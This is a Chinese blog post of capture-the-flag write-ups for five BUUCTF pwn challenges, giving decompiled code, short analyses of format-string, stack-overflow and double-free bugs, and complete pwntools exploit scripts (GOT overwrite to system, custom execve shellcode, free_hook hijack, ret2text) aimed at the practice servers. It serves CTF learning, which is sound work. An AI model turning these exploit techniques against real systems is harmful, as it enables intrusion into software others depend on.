BUUCTF pwn wp 81 - 85

最新推荐文章于 2022-10-21 10:49:08 发布
最新推荐文章于 2022-10-21 10:49:08 发布
阅读量2.8k 收藏
点赞数
分类专栏： PWN 文章标签： linux pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33976344/article/details/121911821
版权

wdb_2018_2nd_easyfmt

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

fmt漏洞
泄露libc → 打got表
可以用fmtstr_payload打printf_got

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 27466
filename = "./wdb_2018_2nd_easyfmt"
elf = ELF(filename)
libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    printf_got = elf.got['printf']
    
    payload = p32(printf_got) + b'%6$s'
    io.sendlineafter("repeater?\n", payload)
    io.recv(4)
    printf_addr = u32(io.recv(4))

    libc_base = printf_addr - libc.sym['printf']
    system_addr = libc_base + libc.sym['system']
    log.info("system address: %#x" % system_addr)

    payload = fmtstr_payload(6, {printf_got:system_addr})
    io.sendline(payload)
    io.sendline(b"/bin/sh\x00")


if __name__ == "__main__":
    pwn()
    io.interactive()

axb_2019_fmt64

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[272]; // [rsp+10h] [rbp-250h] BYREF
  char format[312]; // [rsp+120h] [rbp-140h] BYREF
  unsigned __int64 v5; // [rsp+258h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts(
    "Hello,I am a computer Repeater updated.\n"
    "After a lot of machine learning,I know that the essence of man is a reread machine!");
  puts("So I'll answer whatever you say!");
  while ( 1 )
  {
    alarm(3u);
    memset(s, 0, 0x101uLL);
    memset(format, 0, 0x12CuLL);
    printf("Please tell me:");
    read(0, s, 0x100uLL);
    sprintf(format, "Repeater:%s\n", s);
    if ( (unsigned int)strlen(format) > 0x10E )
      break;
    printf(format);
  }
  printf("what you input is really long!");
  exit(0);
}

fmt漏洞
在这里插入图片描述

第8个参数是zzzzzzzz
任意地址读写 → 泄露libc → 打got表

修改strlen到system
在这里插入图片描述

传入;/bin/sh\x00

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 28169
filename = "./axb_2019_fmt64"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level="debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-v']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    puts_got = elf.got['puts']
    strlen_got = elf.got['strlen']

    payload = b"%9$sZZZZ" + p64(puts_got)
    io.sendlineafter("Please tell me:", payload)
    io.recvuntil("Repeater:")
    puts_addr = u64(io.recvuntil(b"\x7f").ljust(8, b"\x00"))
    log.info("puts address: %#x" % puts_addr)

    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    log.info("system address: %#x" % system_addr)
    log.info("binsh address: %#x" % binsh_addr)
    # B()
    high_system_addr = (system_addr >> 16) % 0x100
    low_system_addr = system_addr % 0x10000

    payload = b"%" + str(high_system_addr - 9).encode() + b"c%12$hhn"
    payload += b"%" + str(low_system_addr - high_system_addr).encode() + b"c%13$hn"
    payload = payload.ljust(32, b"Z") + p64(strlen_got + 2) + p64(strlen_got)

    io.sendafter("Please tell me:", payload)
    # B()
    payload = b";/bin/sh"
    io.sendafter("Please tell me:", payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

x_ctf_b0verfl0w

在这里插入图片描述

int vul()
{
  char s[32]; // [esp+18h] [ebp-20h] BYREF

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(s, 50, stdin);
  printf("Hello %s.", s);
  fflush(stdout);
  return 1;
}

ret2shellcode, 但是需要一个小于32字节的shellcode, ret劫持到栈上的shellcode执行即可
构造栈结构如下
在这里插入图片描述
pwntools自带的shellcode是44字节太长了, 所以要自行编写shellcode, 基本功就不啰嗦了

xor eax, eax
xor edx, edx
xor ecx, ecx
push eax				# push '\0'
push 0x68732f2f         # push "//sh"
push 0x6e69622f         # push “/bin”
mov ebx, esp            # ebx <- "/bin//sh\x00"
mov al, 0x0b            # execve() int 0x0b
int 0x80

在这里插入图片描述

exp
注意exp里的汇编不要带注释

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 26702
filename = "./b0verfl0w"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    shellcode = """
    xor eax, eax
    xor edx, edx
    xor ecx, ecx
    push eax		
    push 0x68732f2f     
    push 0x6e69622f       
    mov ebx, esp           
    mov al, 0x0b            
    int 0x80
    """
    shellcode = asm(shellcode)
    shellcode = shellcode.ljust(0x20, b'\x00')
    jmp_addr = 0x08048504
    sub_jmp_asm = asm("sub esp, 0x28;jmp esp")
    payload = shellcode + cyclic(4) + p32(jmp_addr) + sub_jmp_asm
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()

ciscn_2019_es_1

在这里插入图片描述

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("I hate 2.29 , can you understand me?");
  puts("maybe you know the new libc");
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      getchar();
      if ( v3 != 2 )
        break;
      show();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        call();
      }
      else
      {
        if ( v3 == 4 )
        {
          puts("Jack Ma doesn't like you~");
          exit(0);
        }
LABEL_13:
        puts("Wrong");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
  }
}

unsigned __int64 add()
{
  int v1; // [rsp+4h] [rbp-3Ch]
  void **v2; // [rsp+8h] [rbp-38h]
  size_t size[5]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( heap_number > 12 )
  {
    puts("Enough!");
    exit(0);
  }
  v1 = heap_number;
  *((_QWORD *)&heap_addr + v1) = malloc(0x18uLL);
  puts("Please input the size of compary's name");
  __isoc99_scanf("%d", size);
  *(_DWORD *)(*((_QWORD *)&heap_addr + heap_number) + 8LL) = size[0];
  v2 = (void **)*((_QWORD *)&heap_addr + heap_number);
  *v2 = malloc(LODWORD(size[0]));
  puts("please input name:");
  read(0, **((void ***)&heap_addr + heap_number), LODWORD(size[0]));
  puts("please input compary call:");
  read(0, (void *)(*((_QWORD *)&heap_addr + heap_number) + 12LL), 0xCuLL);
  *(_BYTE *)(*((_QWORD *)&heap_addr + heap_number) + 23LL) = 0;
  puts("Done!");
  ++heap_number;
  return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 call()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("Please input the index:");
  __isoc99_scanf("%d", &v1);
  if ( *((_QWORD *)&heap_addr + v1) )
    free(**((void ***)&heap_addr + v1));
  puts("You try it!");
  puts("Done");
  return __readfsqword(0x28u) ^ v2;
}

call()里有个double free

漏洞利用
(1) 开了Full RELRO, 只能打hook
(2) libc2.27存在tcache, 申请超过0x400的chunk绕过tcahe
(3) unsorted bin泄露main_arena + 0x60, 进而泄露libc
(4) double free 构造fake chunk到free hook, 劫持free hook
(5) free("/bin/sh\x00"), get shell

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 25350 
filename = "./ciscn_2019_es_1"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def add(size,name,compary):
	io.sendlineafter('choice:','1')
	io.sendlineafter("compary's name",str(int(size)))
	io.sendafter('input name:',name)
	io.sendafter('call:',compary)

def show(index):
	io.sendlineafter('choice:','2')
	io.sendlineafter('\n',str(index))

def call(index):
	io.sendlineafter('choice','3')
	io.sendlineafter('\n',str(index))

def pwn():
    malloc_hook_libc = libc.sym['__malloc_hook']
    free_hook_libc = libc.sym['__free_hook']
    system_libc = libc.sym['system']

    add(0x400 + 0x10, 'zzzz', 'ffff')
    add(0x28, 'zzzz', 'ffff')
    add(0x68, '/bin/sh\x00', 'ffff')

    call(0) # free chunk0
    show(0) # leak main_arena + 0x60
    main_arena_0x60_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = main_arena_0x60_addr - 0x60 - 0x10 - malloc_hook_libc
    free_hook_addr = libc_base + free_hook_libc
    system_addr = libc_base + system_libc

    call(1)
    call(1) # double free
    add(0x28, p64(free_hook_addr), 'ffff')
    add(0x28, 'zzzz', 'ffff')
    add(0x28, p64(system_addr), 'ffff') # change free_hook to system
    
    call(2)


if __name__ == "__main__":
    pwn()
    io.interactive()

suctf_2018_basic pwn

在这里插入图片描述

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  scanf("%s", s);
  v5 = strlen(s);
  printf("Hi %s\n", s);
  return 0;
}

在这里插入图片描述

ret2text, 白给

from pwn import *
from LibcSearcher import *

url, port = "node4.buuoj.cn", 29969
filename = "./SUCTF_2018_basic_pwn"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")

local = 0
if local:
    context.log_level = "debug"
    io = process(filename)
    # context.terminal = ['tmux', 'splitw', '-h']
    # gdb.attach(io)
else:
    io = remote(url, port)

def B():
    gdb.attach(io)
    pause()

def pwn():
    back_door_addr = 0x0000000000401157
    payload = cyclic(0x110 + 8) + p64(back_door_addr)
    io.sendline(payload)


if __name__ == "__main__":
    pwn()
    io.interactive()
fa1c4
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
攻防世界REVERSE新手题解答
liucc09的博客
11-25 914
csaw2013reversing2 程序分析 使用IDA打开程序，F5键利用HexRay工具生成可读代码如下： int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // ecx CHAR *lpMem; // [esp+8h] [ebp-Ch] HANDLE hHeap; // [esp+10h] [ebp-4h] hHeap = HeapCreate(0x40000u
wdb_2018_2nd_easyfmt
qq_62887641的博客
09-30 596
32位只开了NX这题get到一点小知识（看我exp就知道了程序很简单,格式化字符串漏洞，并且无限使用没有system函数。
强网杯 签到re 签到pwn 题解
qq_41071646的博客
05-27 1954
强网杯给打自闭了 最后也是没有进到第一页 比较可惜 不过手速快 抢到了 先锋的三血 感觉还不错 不得不说强网的反作弊做的真心不错 re 都能每个人的flag 不一样 真心可以 然后强网的 pwn题竟然还有用队伍 token来搞 真的秀 先说re 即可得出flag Just re 这个题目也算是签到题 首先要修复函数 虽然 上面xmmword_405018 变化...
NewStarCTF pwn
iczfy585的博客
10-21 970
NewStarCTF中pwn的一些wp
buuoj Pwn writeup 106-110
yongbaoii的博客
03-08 308
106 zctf2016_note2 保护 107 suctf_2018_basic pwn 保护 ret2text？ exp from pwn import * context.log_level='debug' r = remote('node3.buuoj.cn',29514) flag_addr = 0x401157 payload = 'a' * 0x118 + p64(flag_addr) r.sendline(payload) r.interactive() 108 wdb_201
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
PWN-shellcode-WP- (一)题目文件.rar
03-29
为几道搜集的真题，https://blog.csdn.net/qq_43390703/article/details/105181147中有对他们的详细解答，是学习pwn入门的很好练手和熟悉知识点以及pwn技巧的真题。
mqtt-pwn:MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式服务
05-02
MQTT-PWN MQTT是一种机器对机器的连接协议，被设计为一种极其轻量级的发布/订阅消息传递，并已被全球数百万个IoT设备广泛使用。 MQTT-PWN打算成为IoT Broker渗透测试和安全评估操作的一站式商店，因为它结合了枚举...
buuctf pwn ubuntu20的自己搭建运行环境
11-15
pwn ubuntu20的自己搭建运行环境具体情参考https://blog.csdn.net/weixin_41748164/article/details/127874334
[Pwn]格式化字符串漏洞--2018科来杯 repeater
WitherC的练级之路
10-30 518
2018年山东省科来杯Pwn题目Repeater复现 补充一点汇编语言基础知识 对于我这种对汇编语言不怎么感冒的人来说，补充一些相应的汇编语言的基础知识还是很重要的 这里就针对本题中用到的汇编指令进行相应补充 lea与mov的区别：lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax (相当于把地址赋给eax)，而不是把ebx+8处的内存地址里的数据赋给eax。 而mov指令则恰恰相反，例如： mov eax,[ebx+8]则是把内存地址为ebx+8处的数据赋给eax。 cmp(compare
BUUCTF pwn wp 11 - 15
fa1c4的blog
08-17 394
ciscn_2019_n_8 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] var[13] = 0; var[14] = 0; init(); puts("What's your name?"); __isoc99_scanf("%s", var, v4, v5);
xctf攻防世界getit writeup
qq_42983283的博客
11-04 549
下载查看： ida64打开，f5分析： int __cdecl main(int argc, const char **argv, const char **envp) { char v3; // al@4 int result; // eax@10 __int64 v5; // rbx@10 __int64 v6; // [sp+0h] [bp-40h]@0 int i; // [sp+4h] [bp-3Ch]@7 FILE *stream; // [sp+8h] [..
堆栈解题练习二
weixin_44222568的博客
04-22 1726
惶惶乎如遗世独立，羽化而登仙。。。。。
攻防世界pwn入门题（一）
qq_43774856的博客
12-23 777
get_shell 直接连接目标主机，输入ls /,cat flag就得到flag when_did_you_born 先检查一下文件的基本信息 发现是64位可执行文件，并且没有PIE保护 运行一下文件 拖进ida看看 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { __int64 result; // rax char v4; // [rsp+0h] [rbp-20h] unsigned int v5; // [r
基于卷积神经网络的图像分类
weixin_36670529的博客
06-02 8004
目录 一、常用的卷积神经网络概述 二、基础的神经网络 三、卷积神经网络 四、AlexNet 五、NiN 六、VGG 七、GoogleNet 1、Inception V1 2、Inception V2 3、Inception V3 4、Inception V4 八、ResNet 九、ResNeXt 十、性能比较 十一、CNN的设计准则 一、常用的卷积神经网络概述 ...
RE入门题
qq_52964803的博客
03-26 731
RE入门题 题目 给了一个附件re 首先用Exeinfope看一下是多少位的 从图片中可以看出它是64位的,之后运行64位的ida 新建一个，将re文件拖进去，找到主函数main 按F5进行反编译，就可以看到该程序的伪代码： int __cdecl main(int argc, const char **argv, const char **envp) { char v4[32]; // [rsp+20h] [rbp-40h] BYREF _DWORD v5[6]; // [rsp+40h
BUUCTF pwn wp 86 - 90
fa1c4的blog
01-17 593
mrctf2020_shellcode_revenge 一道经典题目, 可见字符shellcode. F5失败直接读汇编 ; Attributes: bp-based frame ; int __cdecl main(int argc, const char **argv, const char **envp) public main main proc near buf= byte ptr -410h var_8= dword ptr -8 var_4= dword ptr -4 ; __unwi
BUU pwn 刷题
qq_36495104的博客
05-19 1456
这里基本都是栈溢出题，没什么技术含量，只作为记录 [第五空间2019 决赛]PWN5 查看保护 开启了canary和栈不可执行保护 IDA反编译得到main函数 int __cdecl main(int a1) { unsigned int v1; // eax int fd; // ST14_4 int result; // eax char nptr; // [esp+4h] [ebp-80h] char buf; // [esp+14h] [ebp-70h] unsigned
BUUCTF pwn rip
最新发布
01-28
根据提供的引用内容，BUUCTF PWN-RIP是一个关于PWN技术的详解文章。文章中提到了64位的EIF文件中rbp寄存器的大小为8个字节。如果对这部分不太理解，可以阅读作者的另一篇关于PWN基础知识的文章。 BUUCTF PWN-RIP...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值